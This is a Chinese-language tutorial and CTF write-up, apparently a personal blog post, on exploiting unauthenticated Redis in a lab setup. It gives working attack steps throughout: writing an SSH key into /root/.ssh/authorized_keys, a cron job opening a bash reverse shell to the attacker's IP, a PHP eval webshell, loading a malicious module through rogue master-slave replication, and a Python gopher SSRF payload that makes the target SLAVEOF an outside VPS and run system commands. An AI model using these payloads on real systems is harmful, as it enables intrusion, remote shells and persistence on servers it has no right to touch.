如何攻击Redis
测试环境
攻击机:kali 10.211.55.12
Redis:ubuntu 10.211.55.18
攻击手法
未授权登录
修改配置文件
bind 0.0.0.0 # 允许远程登录
config set protected-mode no # 关闭安全模式
# requirepass your_password 注释掉这一行,禁用密码认证,不过配置文件中默认是没有这一行的
ubuntu上用redis-server /etc/redis.conf启动Redis服务指定配置文件。
kali上可以直接连接到这个Redis,执行redis-cli -h 10.211.55.18。
写文件
写文件执行的命令为
config set dir /tmp/ # 设置保存目录
config set dbfilename evil.rdb # 设置保存文件名
set key "value" # 输入数据
save # 执行备份

文件中内容如下

基于这个特性我们就可以来写ssh公钥,webshell,计划任务反弹shell
SSH公钥登录
下载开启ssh服务
apt install openssh-server
systemctl start ssh
编辑ssh配置文件/etc/ssh/sshd_config
PubkeyAuthentication yes # 启用公钥认证
PasswordAuthentication no # 禁用密码认证
重启ssh服务systemctl restart ssh
在kali上生成密钥对ssh-keygen -t rsa

保存公钥文件(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > kali
在Redis添加公钥记录,同时保存到/root/.ssh/authorized_keys
cat kali | redis-cli -h 10.211.55.18 -x set kali
redis-cli -h 10.211.55.18
10.211.55.18:6379> config set dir /root/.ssh/
OK
10.211.55.18:6379> config set dbfilename authorized_keys
OK
10.211.55.18:6379> save
/root/.ssh/authorized_keys内容为,这是可以被识别出来的

免密登录ssh -i /root/.ssh/id_rsa root@10.211.55.18

写计划任务
快速入门
Linux的计划任务通常是通过cron服务来实现的。cron是一个守护进程,可以定期执行用户预定的任务。用户可以通过crontab命令来管理自己的计划任务。
如何写计划任务:
- **编辑Cron任务:**输入
crontab -e命令,这会打开一个文本编辑器,允许你编辑你的计划任务。 - **添加任务:**在编辑器中,你可以添加新的任务。任务的格式如下:
* * * * * /path/to/command arg1 arg2
字段的意义:
- 第1个 *:分钟(0-59)
- 第2个 *:小时(0-23)
- 第3个 *:一个月中的第几天(1-31)
- 第4个 *:月份(1-12)
- 第5个 *:一周中的第几天(0-7,0和7都代表星期日)
- /path/to/command arg1 arg2:要运行的命令及其参数
示例:每天的5:30运行 /path/to/script.sh
30 5 * * * /path/to/script.sh
如何取消计划任务:
- **列出当前的Cron任务:**输入
**crontab -l**命令,这会列出你当前的所有计划任务。 - 删除特定任务
- 输入
**crontab -e**命令,打开编辑器。 - 在编辑器中,找到并删除你想取消的任务的相应行。
- 输入
- **删除所有任务:**如果你想删除所有任务,可以使用
**crontab -r**命令。
/var/spool/cron/目录
- /var/spool/cron/ 是 Linux 系统中一个特殊的目录,用于存储用户的 crontab 文件。
- 当用户使用 crontab -e 命令编辑自己的 cron 任务时,这些任务被保存在 /var/spool/cron/ 目录下。
- 每个用户有一个与其用户名同名的文件。
- cron 守护进程会定期读取 /var/spool/cron/ 目录中的文件,根据其中定义的计划执行相应的任务。
通过计划任务反弹shell
这个方法只能在Centos上使用,Ubuntu上是行不通的,原因如下:
因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件
/var/spool/cron/crontabs/<username>权限必须是600也就是-rw-------才会执行。否则会报错(root) INSECURE MODE (mode 0600 expected)。而Centos的定时任务文件/var/spool/cron/<username>权限644也能执行
同时,redis保存RDB会存在乱码。这在Ubuntu上会报错,而在Centos上不会报错。
另外,由于系统的不同,crontrab定时文件位置也会不同
- Centos的定时任务文件在
/var/spool/cron/<username>- Ubuntu定时任务文件在
/var/spool/cron/crontabs/<username>
# * * * * * 表示每分钟、每小时、每天、每月、每周的每天都会执行
set x "\n* * * * * bash -i >& /dev/tcp/10.211.55.12/9999 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
/var/spool/cron/root文件内容

写WebShell
网站的绝对路径已知
config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST['test']);?>"
save
主从复制
主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写。
在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载so文件,我们就可以执行拓展的新命令了。

大致原理上就是Redis加载了一个恶意模块,让Redis命令行可以执行系统命令。克隆RedisModules-ExecuteCommand到本地,进入src目录执行make,会提示一些警告但不影响。

执行完成后,在目录下出现的module.so就是我们让目标加载的恶意模块。在redis命令行中使用MODULE LOAD PATH加载

也可以启动reids时用--loadmodule指定加载的模块

知道大致原理后,了解下这个脚本的用法https://github.com/n0b0dyCN/redis-rogue-server。克隆之后将目录下的exp.so替换为我们之前编译出来的module.so(注意名称使用exp.so),指定本机IP和目标IP运行,然后就可以执行命令了
python3 redis-rogue-server.py --lhost 10.211.55.12 --rhost 10.211.55.18

上面是目标和攻击机可以互相访问的情况,还有一种Redis在内网无法被直接访问的情况。之前柏鹭杯找了一个脚本https://github.com/Dliv3/redis-rogue-server,这里有一个被动连接模式就可以做。

下载这个脚本,同样将里面的exp.so替换掉。然后用python3 redis-rogue-server.py --server-only启动,脚本会监听21000端口

当在目标机器上执行slaveof命令后,slave会将这些数据保存到设置的dbfilename文件中(默认是./dump.db)。
10.211.55.18:6379> config set dir /tmp
OK
10.211.55.18:6379> config set dbfilename evil.rdb
OK
10.211.55.18:6379> slaveof 10.211.55.12 21000
OK
数据传入成功

目标服务器上已经同步好文件了

使用module load /tmp/evil.rdb加载,然后就可以执行命令了

CTF
[2023柏鹭杯]综合7
没有环境就简单复盘下。参考星盟的WP
其实拿到Redis信息之后就是一个简单的Redis利用,虽然Java机上没有redis-cli,但是可以上传个frpc去做内网穿透,然后就可以在kali上攻击Redis了。
Anyway,写计划任务、公钥、主从复制都行,不过没有想到frpc确实是渗透经验太少了😢
[网鼎杯 2020 玄武组]SSRFMe
用0.0.0.0绕过

传参?url=http://0.0.0.0/hint.php
// hint.php
<?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
highlight_file(__FILE__);
}
if(isset($_POST['file'])){
file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}
提示redis,使用gopher让目标执行主从复制
from urllib.parse import quote
import requests
# tcp_payload = "auth root\r\nconfig get dir\r\nquit\r\n"
tcp_payload = "auth root\r\nconfig set dir /tmp\r\nconfig set dbfilename evil.rdb\r\nSLAVEOF 47.115.227.70 2100\r\nMODULE LOAD /tmp/evil.rdb\r\nsystem.exec 'nl /*'\r\nquit\r\n"
print(tcp_payload)
inner_url = f"gopher://0.0.0.0:6379/_{quote(quote(tcp_payload))}"
# print(inner_url)
url = "http://5a210ce2-e8d9-49c2-a823-f715204a1cce.node4.buuoj.cn:81/?url=" + inner_url
resp = requests.get(url)
print(resp.text)
这里似乎是我VPS的问题,无法给从机传数据

先这样吧....
参考链接
https://xz.aliyun.com/t/12362
https://www.cnblogs.com/loongten/p/15838580.html
https://paper.seebug.org/975/
https://github.com/Dliv3/redis-rogue-server
https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
